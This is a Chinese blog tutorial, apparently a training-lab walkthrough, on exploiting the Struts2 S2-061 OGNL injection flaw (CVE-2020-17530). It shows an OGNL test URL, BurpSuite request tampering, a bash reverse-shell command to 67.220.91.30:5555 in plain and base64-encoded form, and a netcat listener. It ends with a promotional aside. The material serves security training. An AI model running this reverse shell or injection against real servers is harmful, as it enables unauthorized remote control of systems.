【渗透测试】分享Web应用框架(Struts2)漏洞利用

【渗透测试】分享Web应用框架(Struts2)漏洞利用

【实验目的】

通过分析Struts2漏洞的原理,构造Struts2漏洞的POC,利用Struts2漏洞对目标网站进行系统命令执行,并使用nc工具进行反弹shell,了解掌握Struts2漏洞的原理并构造POC对此漏洞利用进行进一步的渗透。

【知识点】

Struts2漏洞

【实验原理】

Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

Apache Struts于2020年12月08日披露 S2-061 Struts 远程代码执行漏洞(CVE-2020-17530),在使用某些tag等情况下可能存在OGNL表达式注入漏洞,从而造成远程代码执行,可能照成控制服务器等危害。S2-061是对S2-059沙盒进行的绕过。

Struts在定义action类时,拥有特定的名称。其中.do是struts 1默认的后缀,.action是struts 2默认的后缀。

Struts2 会对某些标签属性(比如id,其他属性有待寻找) 的属性值进行二次表达式解析,因此当这些标签属性中使用了%{x}x的值用户可控时,用户再传入一个%{payload}即可造成OGNL表达式执行。

通过参数构造来解析Ognl表达式,例如%{‘gcowsec-’+(2000+20).toString}预计会被解析为gcowsec-2020。

【软件工具】

  • 服务器:Centos7 1台;防火墙 1台;Kali Linux 1台;Windows 10 1台;Windows 2016 1台;
  • 交换机/路由:交换机 2台;路由器 1台;
  • 软件:火狐浏览器,BurpSuite,Netcat

【实验拓扑】

注:为展现拓扑完整性,拓扑中为实验的拓扑启动的是子任务实验(中灰色部分表示为未启动状态,蓝色部分表示为启动状态)。

【实验思路】

  1. 分析Struts2漏洞
  2. 构造Struts2漏洞POC
  3. Struts2漏洞利用使用Netcat监听反弹

【实验预期】

1.分析Struts2漏洞

2.构造Struts2漏洞POC

3.Struts2漏洞利用使用Netcat监听反弹

【实验步骤】

1.分析Struts2漏洞
(1)登录攻击机2-Windows

登录实验拓扑图左下方的【攻击机2-Windows】,打开虚拟机桌面中的火狐浏览器,输入URL地址:www.zd2.zhidaf.com:8080并按回车键,访问目标网站,如下图所示。

在火狐浏览器中,通过F12功能键查看网站源代码,发现源码链接中包含.action后缀,并且包含“Struts 2.0.1”字样的注释说明,因此可以判断当前站点使用Struts2框架进行搭建,并且id值为空,如下图所示。

(2)Strunts2漏洞验证

在浏览器的地址栏中,输入www.zd2.zhidaf.com:8080/?id=%25%7b+%27ceshi-%27+%2b+(100+%2b+50).toString()%7d并按回车键,发现所构造的ognl表达式被成功解析,id值变为“ceshi-150”,所执行Ognl表达式为%{'ceshi-'+(100+50).toString()},如下图所示。

www.zd2.zhidaf.com:8080/?id=%25%7b+%27ceshi-%27+%2b+(100+%2b+50).toString()%7d

2.构造Struts2漏洞POC
(1)浏览器代理服务配置

单击火狐浏览器右上角【三】图标,弹出菜单栏,单击选择【选项】,如下图所示。

依次单击【常规】→网络设置的【设置】按钮,进入火狐浏览器代理窗口,如下图所示。

单击【手动配置代理】单选按钮,【HTTP代理】那一栏设置为127.0.0.1,【端口】为8080,并单击【确定】按钮,完成浏览器代理服务配置,如下图所示。

(2)BurpSuite抓包

双击桌面上的【BurpSuiteCommunity.exe】图标,打开BurpSuite工具,弹出窗口依次单击【Leave】→【Next】→【Start Burp】,如下图所示。



弹出BurpSuite工具窗口后,单击【Proxy】选项卡,并单击【Options】选项卡,查看BurpSuite工具代理配置是否与火狐浏览器代理服务配置一致,如下图所示。

单击【Intercept】选项卡,并单击【Intercept is off】按钮,直至【Interccept is off】按钮变【Interccept is on】按钮,如下图所示。

在浏览器的地址栏中,输入www.zd2.zhidaf.com:8080并按回车键,Burp Suite工具拦截到数据,右键空白处,弹出菜单后选择【Send to Reoeater】,如下图所示。

将数据包发送至Repeater模块后,右键单击选择【Change request method】选项,更改数据包请求方式,如下图所示。

更改数据包请求方式后,请求方式为POST,如下图所示。

删除第10~11行代码,如下图所示。

双击桌面上的工具文件夹,找到payload.txt文件,如下图所示。

打开payload.txt文件,复制里面的payload的内容至BurpSuite的请求数据中,如下图所示。

单击左侧【Send】按钮,构造Payload,获取目标网站服务器的用户id,当前目标服务器用户为root,则表示可成功执行系统命令,如下图所示。

单击BurpSuite的【Decoder】选项卡,对所需Bash语句进行base64编码,左侧大空白区填写bash语句,输入以下bash语句,bash语句表示为使用TCP协议连接67.220.91.30的5555端口,如下图所示。

bash –i >& /dev/tcp/ 67.220.91.30/5555 0>&1

单击【Encode as …】拉下菜单,选择【Base64】,将其bash语句编码为base64,如下图所示。

下方则显示bash语句编码后的base64,如下图所示。

复制base64编码,单击【Repeater】选项卡,输入以下命令,替换payload的【id】字符串,如下图所示。

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC82Ny4yMjAuOTEuMzAvNTU1NSAwPiYx}|{base64,-d}|{bash,-i}

注:在构造的新数据包中其中add()函数内需要指定base64编码后的bash语句,bash –c指令会从第一个非选项参数后面的字符串中读取命令,如果字符串有多个空格,第一个空格前面的字符串是要执行的命令。通过管道符“|”进行命令拼接,再次将编码后的Bash语句进行base64解码,然后在系统中执行。

3.Struts2漏洞利用使用Netcat监听反弹
(1)登录攻击机1-kali Linux

选择拓扑图中左上方的【攻击机1-kali Linux】,按右键,在弹出的菜单中选择【控制台】,输入账号密码root/com.1234,登录【攻击机1-kali Linux】界面,如下图所示。
image-20240603175036656

(2)开启Netcat监听

登录实验拓扑图左上方的【攻击机1-kali Linux】,用户名/密码:root/com.1234。右键单击虚拟机桌面空白处,选择【Open Terminal Here】选项,在【攻击机1-kali Linux】中打开终端窗口,如下图所示。

在终端窗口中输入以下命令,使用netcat开启本地监听,本地监听端口为5555,如下图所示。

nc -lvvp 5555

注:以下为-lvvp命令的详解:

  • -l 监听模式
  • -vv 比-v更详细的输出
  • -p 设置本地端口
  • -e 绑定命令行

返回至【攻击机2-Windows】虚拟机中,在Burpsuite抓包工具的Repeater模块中,单击【Send】按钮,右侧响应报文回显结果为空,如下图所示。

(3)shell反弹

当包含bash语句的恶意请求数据包被发送,此时bash指令被写入和执行,【攻击机1-kali Linux】中所创建的nc监听即可被响应,可以发现响应结果中包含目标服务器的终端标识符,如下图所示。

执行ip add命令,可以发现当前目标服务器的IP地址为172.18.0.2/16,如下图所示。

执行ls命令可以发现,存在Dockerfile文件,并且终端提示符中看似是一个docker容器名称,由此基本可以断定当前网站服务是部署在目标服务器的Docker容器中,如下图所示。

【实验结论】

通过上述实验操作,分析Struts2漏洞的原理,构造Struts2漏洞的POC,利用Struts2漏洞对目标网站进行系统命令执行,并使用nc工具进行反弹shell,了解掌握Struts2漏洞的原理并构造POC对此漏洞利用进行进一步的渗透,满足实验预期要求。

题外话

黑客&网络安全如何学习

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值